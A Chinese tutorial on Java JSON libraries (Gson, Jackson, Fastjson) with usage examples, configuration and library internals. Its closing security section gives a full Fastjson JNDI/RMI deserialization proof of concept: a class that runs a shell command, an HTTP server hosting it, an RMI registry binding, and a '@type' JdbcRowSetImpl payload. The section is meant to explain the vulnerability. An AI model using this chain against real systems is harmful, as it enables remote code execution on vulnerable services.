详细解读Gson 、Jackson 、FastJson 三大json序列化工具
一 gson
Google提供的用来java对象和JSON数据之间进行映射的JAVA类库
优缺点
优点:快速、高效, 依赖少只有一个jar包,面向对象,数据传输解析方便
缺点:速度较慢
mvn依赖
<dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
<version>2.10.1</version>
</dependency>
用法
序列化
@Test
public void test(){
GsonBuilder builder = new GsonBuilder()
.setPrettyPrinting() //美化缩进
;
Gson gson = builder.create();
Employee emp = new Employee(1001, "Lokesh", "Gupta", "howtodoinjava@gmail.com");
String s = gson.toJson(emp);
System.out.println(s);
}
反序列化
@Test
public void test2(){
String jsonString = "{'id':1001, 'firstName':'Lokesh', 'lastName':'Gupta', 'email':'howtodoinjava@gmail.com'}";
Gson gson = new Gson();
Employee empObject = gson.fromJson(jsonString, Employee.class);
System.out.println(empObject);
}
反序列化泛型类
@Test
public void test3(){
String jsonString = "[{'id':1001, 'firstName':'Lokesh', 'lastName':'Gupta', 'email':'howtodoinjava@gmail.com'}," +
"{'id':1002, 'firstName':'Loke', 'lastName':'lest', 'email':'wuge@gmail.com'}]";
Gson gson = new Gson();
List<Employee> employees = gson.fromJson(jsonString, new TypeToken<List<Employee>>() {});
System.out.println(employees);
}
null值处理
Gson中实现的默认行为是忽略空对象字段,要配置Gson实例以输出null,我们必须使用GsonBuilder对象的serializeNulls()。
Gson gson = new GsonBuilder()
.serializeNulls()
.create();
@Since 和@Until注解
在Gson中,可以使用@Since注释维护同一对象的多个版本。可以在类,字段以及将来的方法中使用此注解。
当我们为Gson实例配置版本号“ M.N”时,所有标记有版于小于M.N的类字段都将被忽略
而@Until注解的作用则与@Util相反,所有标记有版于大于M.N的类字段都将被忽略
@Since(1.2)
private String email;
@Until(1.6)
private String sex;
Gson gson = new GsonBuilder()
.setVersion(1.1)
.create();
@SerializedName 注解
@SerializedName可以更改序列化/反序列化的字段名
@SerializedName(value = "emailId", alternate = "emailAddress")
private String email;
@JsonAdapter注解
@JsonAdapter指定(反)序列化策略
@JsonAdapter(Base64TypeAdapter.class)
private byte[] token;
@Expose注解
@Expose注解指定是否需要忽略(反)序列化字段
@Expose(serialize = false,deserialize = true)
private String password;
gson的更多特性
@Test
public void test5(){
GsonBuilder builder = new GsonBuilder()
.setPrettyPrinting() //美化缩进
.excludeFieldsWithModifiers(Modifier.STATIC) //根据访问修饰符忽略字段
.setExclusionStrategies(new HiddenExclusionStrategy()) //自定义排除策略
.setFieldNamingPolicy(FieldNamingPolicy.LOWER_CASE_WITH_UNDERSCORES) //字段命名策略
.setFieldNamingStrategy(null) //自定义字段命名策略
.serializeNulls() //强制输出null
.setLenient()//宽松的反序列化策略
.registerTypeAdapterFactory(null)//类型适配器
.addSerializationExclusionStrategy(null) //序列化排除
//......
;
}
gson的底层
gson底层 JsonReader
JsonReader类基于输入流JSON解析器,它会对JSON的关键字token(令牌)进行拆分流式读取。
toke(令牌)以深度优先顺序遍历,与JSON文档中出现的顺序相同
@Test
public void testJsonReader() throws Exception
{
String json = "{'id': 1001,'firstName': 'Lokesh','lastName': 'Gupta','email': null,'hobbies':['swimming','trip']}";
JsonReader jsonReader = new JsonReader(new StringReader(json));
jsonReader.setLenient(true);
//JsonToken枚举类定义了所有的token类型
try {
while (jsonReader.hasNext()) {
JsonToken nextToken = jsonReader.peek();
if (JsonToken.BEGIN_OBJECT.equals(nextToken)) {
jsonReader.beginObject();
} else if (JsonToken.NAME.equals(nextToken)) {
String name = jsonReader.nextName();
System.out.println("Token KEY >>>> " + name);
} else if (JsonToken.STRING.equals(nextToken)) {
String value = jsonReader.nextString();
System.out.println("Token Value >>>> " + value);
} else if (JsonToken.NUMBER.equals(nextToken)) {
long value = jsonReader.nextLong();
System.out.println("Token Value >>>> " + value);
} else if (JsonToken.NULL.equals(nextToken)) {
jsonReader.nextNull();
System.out.println("Token Value >>>> null");
} else if (JsonToken.END_OBJECT.equals(nextToken)) {
jsonReader.endObject();
}else if(JsonToken.BEGIN_ARRAY.equals(nextToken)){
jsonReader.beginArray();
}else if(JsonToken.END_ARRAY.equals(nextToken)){
jsonReader.endArray();
}
}
} catch (IOException e) {
e.printStackTrace();
} finally {
jsonReader.close();
}
}
gson底层 JsonParser
JsonParser用于将Json数据解析为JsonElement的解析树,从而解析为JsonObject。
JsonObject可用于使用JSON字符串中的相应键来访问值。
@Test
public void test6() throws JsonSyntaxException {
String json = "{'id': 1001, "
+ "'firstName': 'Lokesh',"
+ "'lastName': 'Gupta',"
+ "'email': 'howtodoinjava@gmail.com'}";
JsonElement jsonElement = JsonParser.parseString(json);
//
// jsonElement.isJsonObject();
// jsonElement.isJsonArray();
// jsonElement.isJsonNull();
// jsonElement.isJsonPrimitive();
//jsonElement.isXX检测数据类型,然后可以调用jsonElement.getAsXXX获取响应类型的json树
JsonObject jsonObject = jsonElement.getAsJsonObject();
System.out.println( jsonObject.get("id") );
System.out.println( jsonObject.get("firstName") );
System.out.println( jsonObject.get("lastName") );
System.out.println( jsonObject.get("email") );
}
JsonParser迭代json数据
@Test
public void testIterator(){
JsonParser parser = new JsonParser();
String json = "{ \"f1\":\"Hello\",\"f2\":{\"f3\":\"World\"}}";
JsonElement jsonTree = parser.parse(json);
if(jsonTree.isJsonObject()){
JsonObject jsonObject = jsonTree.getAsJsonObject();
JsonElement f1 = jsonObject.get("f1");
System.out.printf("f1=>%s%n",f1);
JsonElement f2 = jsonObject.get("f2");
if(f2.isJsonObject()){
JsonObject f2Obj = f2.getAsJsonObject();
JsonElement f3 = f2Obj.get("f3");
System.out.printf("f2.f3=>%s%n",f3);
}
}
}
JsonParser的底层还是使用的JsonReader
//JsonParser
public static JsonElement parseString(String json) throws JsonSyntaxException {
return parseReader(new StringReader(json));
}
public static JsonElement parseReader(Reader reader) throws JsonIOException, JsonSyntaxException {
try {
JsonReader jsonReader = new JsonReader(reader);
JsonElement element = parseReader(jsonReader);
if (!element.isJsonNull() && jsonReader.peek() != JsonToken.END_DOCUMENT) {
throw new JsonSyntaxException("Did not consume the entire document.");
}
gson底层 TypeAdapter
TypeAdapter主要是FieldReflectionAdapter,它是用来收集类型的字段信息,协作JsonWriter和JsonReader工作
//Gson
public void toJson(Object src, Type typeOfSrc, JsonWriter writer) throws JsonIOException {
//adapter一般是ReflectiveTypeAdapterFactory.FieldReflectionAdapter
@SuppressWarnings("unchecked")
TypeAdapter<Object> adapter = (TypeAdapter<Object>) getAdapter(TypeToken.get(typeOfSrc));
boolean oldLenient = writer.isLenient();
writer.setLenient(true);
boolean oldHtmlSafe = writer.isHtmlSafe();
writer.setHtmlSafe(htmlSafe);
boolean oldSerializeNulls = writer.getSerializeNulls();
writer.setSerializeNulls(serializeNulls);
try{
adapter.write(writer,src);
}
//.....
}
二 jackson
Jackson不只是json 、xml序列化工具,它可以通过 Factory扩展以支持序列化任何具有树结构的数据格式
jackson支持以下格式
Avro, BSON, CBOR, CSV, Smile, (Java) Properties, Protobuf, TOML, XML or YAML;
优缺点
优点:高性能,速度快;支持多种数据格式;比较灵活,易扩展
缺点:配置相对复杂,对新人来说会经历一定的学习曲线;API有点难用,它的API有大量的受检异常,强制要求使用者手动处理
mvn依赖
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.11.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jdk8</artifactId>
<version>2.11.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<version>2.11.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.dataformat</groupId>
<artifactId>jackson-dataformat-yaml</artifactId>
<version>2.11.2</version>
</dependency>
用法
简单(反)序列化
@Test
public void testSimpleSeri() {
ObjectMapper jsonMapper = new ObjectMapper();
Employee employee = new Employee();
employee.setEmail("wuhe@gmail.com");
employee.setId(323);
employee.setFirstName("Lewis");
employee.setLastName("Wu");
try {
String json = jsonMapper.writeValueAsString(employee);
System.out.println(json);
} catch (Exception e) {
e.printStackTrace();
}
}
@Test
public void testSimpleDeseri() {
ObjectMapper jsonMapper = new JsonMapper();
String a = "{\"id\":1001, \"firstName\":\"Lokesh\", \"lastName\":\"Gupta\", \"email\":\"howtodoinjava@gmail.com\"}";
try {
Employee employee = jsonMapper.readValue(a, Employee.class);
System.out.println(employee);
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
反序列化泛型类
@Test
public void testGenericDeseri() {
ObjectMapper jsonMapper = new JsonMapper();
String a = "[{\"id\":1001, \"firstName\":\"Lokesh\", \"lastName\":\"Gupta\", \"email\":\"howtodoinjava@gmail.com\"}," +
" {\"id\":1002, \"firstName\":\"Lewis\", \"lastName\":\"Wu\", \"email\":\"LiYifeng@gmail.com\"}]";
try {
//用法一 使用TypeReference
List<Employee> employees = jsonMapper.readValue(a, new TypeReference<List<Employee>>() {});
System.out.println(employees);
//用法二 使用JavaType
JavaType type = jsonMapper.getTypeFactory().constructCollectionType(List.class, Employee.class);
List<Employee> employees2 = jsonMapper.readValue(a, type);
System.out.println(employees2);
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
常用的json特性配置
@Test
public void test2() {
ObjectMapper objectMapper = JsonMapper.builder()
.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES) //反序列化java类中不存在的字段不抛异常
.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS) //反序列化空对象不抛异常(主要针对golang的空对象,没有任何字段,即'{}')
// .disable(DeserializationFeature.ACCEPT_SINGLE_VALUE_AS_ARRAY) 允许单个对象反序列化到数组字段上
.enable(MapperFeature.USE_STD_BEAN_NAMING)
.build();
objectMapper
.setDefaultPropertyInclusion(JsonInclude.Include.NON_NULL) //不序列化值为null的字段
.setLocale(Locale.SIMPLIFIED_CHINESE)
.setDefaultLeniency(Boolean.FALSE)
.setDateFormat(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"))
.setTimeZone(TimeZone.getTimeZone("GMT+08:00"));
SimpleModule javaTimeModule = new JavaTimeModule();
javaTimeModule.addSerializer(LocalDateTime.class, new LocalDateTimeSerializer(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")));
javaTimeModule.addSerializer(LocalDate.class, new LocalDateSerializer(DateTimeFormatter.ofPattern("yyyy-MM-dd")));
javaTimeModule.addSerializer(LocalTime.class, new LocalTimeSerializer(DateTimeFormatter.ofPattern("HH:mm:ss")));
javaTimeModule.addDeserializer(LocalDateTime.class, new LocalDateTimeDeserializer(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")));
javaTimeModule.addDeserializer(LocalDate.class, new LocalDateDeserializer(DateTimeFormatter.ofPattern("yyyy-MM-dd")));
javaTimeModule.addDeserializer(LocalTime.class, new LocalTimeDeserializer(DateTimeFormatter.ofPattern("HH:mm:ss")));
// 注册模块,支持java8的时间日期
objectMapper.registerModule(javaTimeModule);
objectMapper.registerModule(new Jdk8Module());
}
jackson的混入
//CommonUser 是第三方jar包的类型,我们不能修改它的源码
@Data
class CommonUser {
private final String firstName;
private final String lastName;
private String id;
public CommonUser(String firstName, String lastName) {
this.firstName = firstName;
this.lastName = lastName;
}
}
// CommonUserMinx是我们自定义的混入策略类
@Data
class CommonUserMinx {
@JsonProperty("ID")
private String id;
@JsonCreator
public CommonUserMinx(@JsonProperty("firstName") String firstName, @JsonProperty("lastName") String lastName) {
}
}
@Test
public void testMix() {
ObjectMapper objectMapper = new JsonMapper();
String a = "{\"ID\":\"xxxxe32\", \"firstName\":\"Lokesh\", \"lastName\":\"Gupta\"}";
objectMapper.addMixIn(CommonUser.class,CommonUserMinx.class);
try {
CommonUser commonUser = objectMapper.readValue(a, CommonUser.class);
System.out.println(commonUser);
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
JsonNode以树的形式读取数据
@Test
public void testJsonTree() throws JsonProcessingException {
String json = "{\"name\":\"YourBatman\",\"age\":18,\"dog\":{\"name\":\"旺财\",\"color\":\"WHITE\"},\"hobbies\":[\"篮球\",\"football\"]}";
JsonMapper jsonMapper = new JsonMapper();
JsonNode jsonNode = jsonMapper.readTree(json);
JsonNode ageNode = jsonNode.get("age");
int age= ageNode.asInt();
JsonNode colorNode = jsonNode.at("/dog/color");
String color = colorNode.asText();
JsonNode hobbies = jsonNode.at("/hobbies/0");
String s = hobbies.asText();
System.out.printf("age=%d, hobbies[0]=%s, dog.color=%s%n",age,s,color);
}
jackson支持其他格式的(反)序列化
只需要给ObjectMapper构造方法传入不同的Factory即可(先引入对应的jar包实现)
@Test
public void testYaml() {
ObjectMapper objectMapper = new ObjectMapper(new YAMLFactory());
Employee employee = new Employee();
employee.setEmail("wuhe@gmail.com");
employee.setId(323);
employee.setFirstName("Lewis");
employee.setLastName("Wu");
try {
String empYaml = objectMapper.writeValueAsString(employee);
System.out.println(empYaml);
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
jackson 底层
- JsonToken
json的每部分都有相应的Token类型,如JsonToken.START_OBJECT JsonToken.FIELD_NAME 等 - JsonParser是jackson底层低层次读取json数据的基类
@Test
public void testParser() throws IOException {
JsonFactory factory = new JsonFactory();
// 此处InputStream来自于文件
String a = "{\"name\":\"YourBatman\",\"age\":18,\"dog\":{\"name\":\"旺财\",\"color\":\"WHITE\"},\"hobbies\":[\"篮球\",\"football\"]}";
JsonParser jsonParser = factory.createParser(a.getBytes(StandardCharsets.UTF_8));
// 只要还没到末尾,也就是}这个符号,就一直读取
// {"name":"YourBatman","age":18,"dog":{"name":"旺财","color":"WHITE"},"hobbies":["篮球","football"]}
JsonToken jsonToken = null; // token类型
while (jsonParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jsonParser.getCurrentName();
if ("name".equals(fieldname)) {
jsonToken = jsonParser.nextToken();
System.out.println("==============token类型是:" + jsonToken);
System.out.println(jsonParser.getText());
} else if ("age".equals(fieldname)) {
jsonToken = jsonParser.nextToken();
System.out.println("==============token类型是:" + jsonToken);
System.out.println(jsonParser.getIntValue());
} else if ("dog".equals(fieldname)) {
jsonToken = jsonParser.nextToken();
System.out.println("==============token类型是:" + jsonToken);
while (jsonParser.nextToken() != JsonToken.END_OBJECT) {
String dogFieldName = jsonParser.getCurrentName();
if ("name".equals(dogFieldName)) {
jsonToken = jsonParser.nextToken();
System.out.println("======================token类型是:" + jsonToken);
System.out.println(jsonParser.getText());
} else if ("color".equals(dogFieldName)) {
jsonToken = jsonParser.nextToken();
System.out.println("======================token类型是:" + jsonToken);
System.out.println(jsonParser.getText());
}
}
} else if ("hobbies".equals(fieldname)) {
jsonToken = jsonParser.nextToken();
System.out.println("==============token类型是:" + jsonToken);
while (jsonParser.nextToken() != JsonToken.END_ARRAY) {
System.out.println(jsonParser.getText());
}
}
}
// 关闭IO流
jsonParser.close();
}
3) JsonGenerator是jackson底层低层次生成的Json数据的基类
@Test
public void testGenerator() throws IOException {
JsonFactory factory = new JsonFactory();
// 此处最终输输出到OutputStreams输出流(此处输出到文件)
JsonGenerator jsonGenerator = factory.createGenerator(new File("src/main/resources/person.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject(); //开始写,也就是这个符号 {
jsonGenerator.writeStringField("name", "YourBatman");
jsonGenerator.writeNumberField("age", 18);
// 写入Dog对象(枚举对象)
jsonGenerator.writeFieldName("dog");
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name", "旺财");
jsonGenerator.writeStringField("color", "WHITE");
jsonGenerator.writeEndObject();
//写入一个数组格式
jsonGenerator.writeFieldName("hobbies"); // "hobbies" :
jsonGenerator.writeStartArray(); // [
jsonGenerator.writeString("篮球"); // "篮球"
jsonGenerator.writeString("football"); // "football"
jsonGenerator.writeEndArray(); // ]
jsonGenerator.writeEndObject(); //结束写,也就是这个符号 }
// 关闭IO流
jsonGenerator.close();
}
4JsonDeserializer
jackson反序列化使用JsonDeserializer接口, 而一般的java实体类(非jdk中的常见类,如Date Collection)的
反序列化主要JsonDeserializer接口的实现类BeanDeserializer,BeanDeserializer的重要处理逻辑在vanillaDeserialize方法中
//ObjectMapper
protected Object _readMapAndClose(JsonParser p0, JavaType valueType)
throws IOException
{
try (JsonParser p = p0) {
Object result;
JsonToken t = _initForReading(p, valueType);
final DeserializationConfig cfg = getDeserializationConfig();
final DeserializationContext ctxt = createDeserializationContext(p, cfg);
if (t == JsonToken.VALUE_NULL) {
// Ask JsonDeserializer what 'null value' to use:
result = _findRootDeserializer(ctxt, valueType).getNullValue(ctxt);
} else if (t == JsonToken.END_ARRAY || t == JsonToken.END_OBJECT) {
result = null;
} else {
JsonDeserializer<Object> deser = _findRootDeserializer(ctxt, valueType);
if (cfg.useRootWrapping()) {
result = _unwrapAndDeserialize(p, ctxt, cfg, valueType, deser);
} else {
// 这里的deser一般是BeanDeserializer
result = deser.deserialize(p, ctxt);
}
ctxt.checkUnresolvedObjectId();
}
if (cfg.isEnabled(DeserializationFeature.FAIL_ON_TRAILING_TOKENS)) {
_verifyNoTrailingTokens(p, ctxt, valueType);
}
return result;
}
}
//BeanDeserializer
private final Object vanillaDeserialize(JsonParser p,
DeserializationContext ctxt, JsonToken t)
throws IOException
{
final Object bean = _valueInstantiator.createUsingDefault(ctxt);
// [databind#631]: Assign current value, to be accessible by custom serializers
p.setCurrentValue(bean);
if (p.hasTokenId(JsonTokenId.ID_FIELD_NAME)) {
String propName = p.getCurrentName();
do {
p.nextToken();
//找到对应的java属性字段
SettableBeanProperty prop = _beanProperties.find(propName);
if (prop != null) { // normal case
try {
//反序列化,给字段设值
prop.deserializeAndSet(p, ctxt, bean);
} catch (Exception e) {
wrapAndThrow(e, bean, propName, ctxt);
}
continue;
}
handleUnknownVanilla(p, ctxt, bean, propName);
} while ((propName = p.nextFieldName()) != null);
}
return bean;
}
5)JsonSerializer
jackson序列化使用JsonSerializer接口, 而一般的java实体类(非jdk中的常见类,如Date Collection)的
反序列化主要JsonSerializer接口的实现类BeanSerializer,BeanSerializer的重要处理逻辑在serializeFields方法中
//DefaultSerializerProvider.Impl
public void serializeValue(JsonGenerator gen, Object value) throws IOException
{
_generator = gen;
if (value == null) {
_serializeNull(gen);
return;
}
final Class<?> cls = value.getClass();
// true, since we do want to cache root-level typed serializers (ditto for null property)
//ser一般是BeanSerializer
final JsonSerializer<Object> ser = findTypedValueSerializer(cls, true, null);
PropertyName rootName = _config.getFullRootName();
if (rootName == null) { // not explicitly specified
if (_config.isEnabled(SerializationFeature.WRAP_ROOT_VALUE)) {
_serialize(gen, value, ser, _config.findRootName(cls));
return;
}
} else if (!rootName.isEmpty()) {
_serialize(gen, value, ser, rootName);
return;
}
//序列化
_serialize(gen, value, ser);
}
//BeanSerializer
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
throws IOException
{
final BeanPropertyWriter[] props;
if (_filteredProps != null && provider.getActiveView() != null) {
props = _filteredProps;
} else {
props = _props;
}
int i = 0;
try {
for (final int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) { // can have nulls in filtered list
//反射序列化,Getter方法获取每个字段的字段名及字段值
prop.serializeAsField(bean, gen, provider);
}
}
if (_anyGetterWriter != null) {
_anyGetterWriter.getAndSerialize(bean, gen, provider);
}
} catch (Exception e) {
String name = (i == props.length) ? "[anySetter]" : props[i].getName();
wrapAndThrow(provider, e, bean, name);
} catch (StackOverflowError e) {
// 04-Sep-2009, tatu: Dealing with this is tricky, since we don't have many
// stack frames to spare... just one or two; can't make many calls.
// 10-Dec-2015, tatu: and due to above, avoid "from" method, call ctor directly:
//JsonMappingException mapE = JsonMappingException.from(gen, "Infinite recursion (StackOverflowError)", e);
JsonMappingException mapE = new JsonMappingException(gen, "Infinite recursion (StackOverflowError)", e);
String name = (i == props.length) ? "[anySetter]" : props[i].getName();
mapE.prependPath(new JsonMappingException.Reference(bean, name));
throw mapE;
}
}
基础注解
注解 | 用法 |
---|---|
@JsonProperty | 用于属性,把属性的名称序列化时转换为另外一个名称。示例:@JsonProperty("birth_date") private Date birthDate |
@JsonIgnore | 可用于字段、getter/setter、构造函数参数上,作用相同,都会对相应的字段产生影响。使相应字段不参与序列化和反序列化。 |
@JsonIgnoreProperties | 该注解是类注解,使得相应字段不参与序列化和反序列化。eg:@JsonIgnoreProperties({"password","id"}) public class Person |
@JsonFormat | 用于属性或者方法,把属性的格式序列化时转换成指定的格式。示例:@JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm") public Date getBirthDate() |
@JsonPropertyOrder | 该注解是类注解,和 @JsonProperty的index属性类似,指定属性在序列化时 json 中的顺序 , 示例:@JsonPropertyOrder({ "birth_Date", "name" }) public class Person |
@JsonCreator | 用于构造方法,和 @JsonProperty 配合使用,适用有参数的构造方法。示例:@JsonCreator public Person(@JsonProperty("name")String name) {…} |
@JsonAnySetter | 用于属性或者方法,设置未反序列化的属性名和值作为键值存储到 map 中 @JsonAnySetter public void set(String key, Object value) { map.put(key, value); } |
@JsonAnyGetter | 应用于属性或方法,获取所有未序列化的属性 public Map<String, Object> any() { return map; } |
@JsonSetter | 应用于属性或方法,指定反序列化的字段名 @JsonSetter("_id") public String setId(String id) { return this.id=id; } |
@JsonGetter | 应用于方法或字段,指定序列化的字段名 @JsonGetter("_id") public String getId() { return id; } |
@JsonNaming | 类注解,序列化的时候该注解可将驼峰命名的字段名转换为下划线分隔的小写字母命名方式。反序列化的时候可以将下划线分隔的小写字母转换为驼峰命名的字段名。示例:@JsonNaming(PropertyNamingStrategy.SnakeCaseStrategy.class) |
@JsonRootName | 类注解,需开启mapper.enable(SerializationFeature.WRAP_ROOT_VALUE) ,用于序列化时输出带有根属性名称的JSON串,形式如 {"root_name":{"id":1,"name":"zhangsan"}} 。 |
@JsonAutoDetect | 指定属性(反)序列化范围 |
@JsonIgnoreType | 将忽略这个类型的(反)序列化 |
@JsonInclude | 对空值如何序列化 |
@JsonPropertyDescription | json的schema描述 |
@JsonUnwrapped | 将其属性上拉一个层级展开 |
@JsonView | 不同接口下返回不同的属性 eg:@JsonView的使用 |
@JacksonInject | json字段有一些缺少的属性,转换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认 |
@JsonEnumDefaultValue | 反序列化时未知时的枚举值 |
@JsonRawValue | 使用原始值,而不会进行转义 eg:"content":"Test content" ,而不是\"content\":\"Test content\" |
@JsonValue | 最多能用于类的一个属性(多个属性应用此注解将抛出异常),并将此属性上拉一个层级展开,其他字段不参与(反)序列化 |
@JsonKey | 最多能用于类的一个属性(多个属性应用此注解将抛出异常),这个类型对象作为Map数据结构的Key时,标记此注解的属性值将作为json字符串的字段名 |
@JsonFilter | 应用于属性, 过滤属性 eg:@JsonFilter("non-pwd") private char[] password = new char[]{'0', '\u0343', '&'}; mapper.setFilterProvider(new SimpleFilterProvider().addFilter("non-pwd", SimpleBeanPropertyFilter.serializeAllExcept("password"))); |
@JsonAlias | 应用于属性,反序列化时多个候选字段名能够映射到同一个属性上 |
@JsonMerge | 应用于属性,反序列化时集合类型属性时,将Json中的元素与字段中的默认元素融合 eg:@JsonMerge private List<String> hobbies = new ArrayList<>(Collections.singletonList("篮球")); |
三 fastjson
fastjson是阿里开源的一款json序列化工具,包括fastjson1和fastjson2。
Fastjson2相对Fastjson1版本可以说是一次完全重构,fastjson2进一步提高了性能,解决了一系列安全方面的问题和兼容性的问题
优缺点
优点:性能高,速度快;简单易用;内存占用少
缺点:安全性堪忧,漏洞多;定制化、扩展性不足;社区更新慢
mvn依赖
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.53</version>
</dependency>
用法
fastjson主要有两种json工具类型,JSONObject
普通的json对象,JSONArray
json数组对象
基本的序列化
@Test
public void testSeria(){
Person p = new Person();
p.age = "23";
p.name = "xiaowu";
List<Person> people = Collections.singletonList(p);
String s = JSONObject.from(p).toJSONString();
String s1 = JSONArray.from(people).toJSONString();
System.out.println(s);
System.out.println(s1);
}
基本的反序列化
@Test
public void testDeseria(){
String json = "{\"age\":\"23\",\"name\":\"xiaowu\"}";
String jsonArr = "[{\"age\":\"23\",\"name\":\"xiaowu\"}]";
Person p = JSONObject.parseObject(json).to(Person.class);
List<Person> people = JSONArray.parseArray(jsonArr,Person.class);
System.out.println(p);
System.out.println(people);
}
从json对象中获取字段值
// 获取JSONObject对象中Val属的类型值(值类型为String)
String stringVal = jsonObj.getString("Val");
// 获取JSONObject对象中Val属的类型值(值类型为JSONObject)
JSONObject jsonObject = jsonObj.getJSONObject("Val");
// 获取JSONObject对象中Val属的类型值(值类型为JSONArray)
JSONArray jsonArray = jsonObj.getJSONArray("Val");
// 获取JSONObject对象中Val属的类型值(值类型为Byte、byte)
Byte byteVal = jsonObj.getByte("Val");
byte byteValue = jsonObj.getByteValue("Val");
// 获取JSONObject对象中Val属的类型值(值类型为Short、short)
Short shortVal = jsonObj.getShort("Val");
short shortValue = jsonObj.getShortValue("Val");
// 获取JSONObject对象中Val属的类型值(值类型为Integer、int )
Integer integer = jsonObj.getInteger("Val");
int intValue = jsonObj.getIntValue("Val");
// 获取JSONObject对象中Val属的类型值(值类型为Long、long)-
Long longVal = jsonObj.getLong("Val");
long longValue = jsonObj.getLongValue("Val");
// 获取JSONObject对象中Val属的类型值(值类型为Float、float)
Float floatVal = jsonObj.getFloat("Val");
float floatValue = jsonObj.getFloatValue("Val");
// 获取JSONObject对象中Val属的类型值(值类型为Double、double)
Double doubleVal = jsonObj.getDouble("Val");
double doubleValue = jsonObj.getDoubleValue("Val");
注解
注解 | 用法 |
---|---|
@JSONBuilder | 指定反序列化时的builder方法和build字段前缀 |
@JSONCompiled | (实验性功能)针对特定类或字段进行编译优化,优化为字节码形式,减少反射调用,提升处理速度 |
@JSONCompiler | (实验性功能)启用编译器优化,将JSON序列化和反序列化操作编译为直接字节码,以提高性能,减少反射调用的开销。 |
@JSONCreator | 标记反序列化的工厂方法或构造方法 |
@JSONField | 重新定义字段名,格式化,(反)序列化是否被忽略,(反)序列化策略,指定特殊的一些特性 |
@JSONType | (反)序列化策略,指定特殊的一些特性,字段顺序,字段命名策略 |
特性配置
public static void main(String[] args){
FastJsonConfig fastJsonConfig = new FastJsonConfig();
// 修改配置返回内容的过滤
fastJsonConfig.setSerializerFeatures(
// 格式化输出
SerializerFeature.PrettyFormat,
// 消除循环引用
SerializerFeature.DisableCircularReferenceDetect,
// 返回结果保留null值
SerializerFeature.WriteMapNullValue,
// 将返回值为null的字符串转变成"",在这里可以自己设置
SerializerFeature.WriteNullStringAsEmpty,
// List字段如果为null,输出为[],而非null
SerializerFeature.WriteNullListAsEmpty
);
Person person = new Person();
person.name="223";
person.lessons= null;
Object o = JSONObject.toJSON(person, fastJsonConfig.getSerializeConfig()).toString();
System.out.println(o);
}
安全漏洞
json反序列化时会调用该类的setter方法,JdbcRowSetImpl有一个setAutoCommit方法,
fastjson会认为有一个autoCommit属性, JdbcRowSetImpl的setAutoCommit方法会尝试连接数据库
,如果数据源的名字是 jndi的话,会远程下载这个数据源的class类并实例化这个类,
如果个类的构造方法或静态代码块中有恶意代码,那么这些恶意代码就会被执行
public class Exploit {
static {
try {
Runtime runtime = Runtime.getRuntime();
Process exec = runtime.exec("open -a Calculator");
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
远程端有一个类Exploit,这个类有恶意代码,将这个类的class文件部署在HTTP服务上,确保通过 http://ip:port/Exploit.class 可访问下载即可
可以使用 python 部署 HTTP 服务
python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
然后通过启动java rmi服务,即将class文件下载的http服务挂载在rmi服务上
public class Regist {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry= LocateRegistry.createRegistry(9999); //9999是rmi端口
// http://localhost:80是python启动的class文件下载http服务的地址
Reference reference = new Reference("test", "test", "http://localhost:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", wrapper);
}
}
Json反序列化时,用’@type’指定反序列化的类型是’JdbcRowSetImpl’,dataSourceName字段是我们刚才配置的rmi地址’rmi://127.0.0.1:9999/Exploit’
@Test
public void test2(){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exploit\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}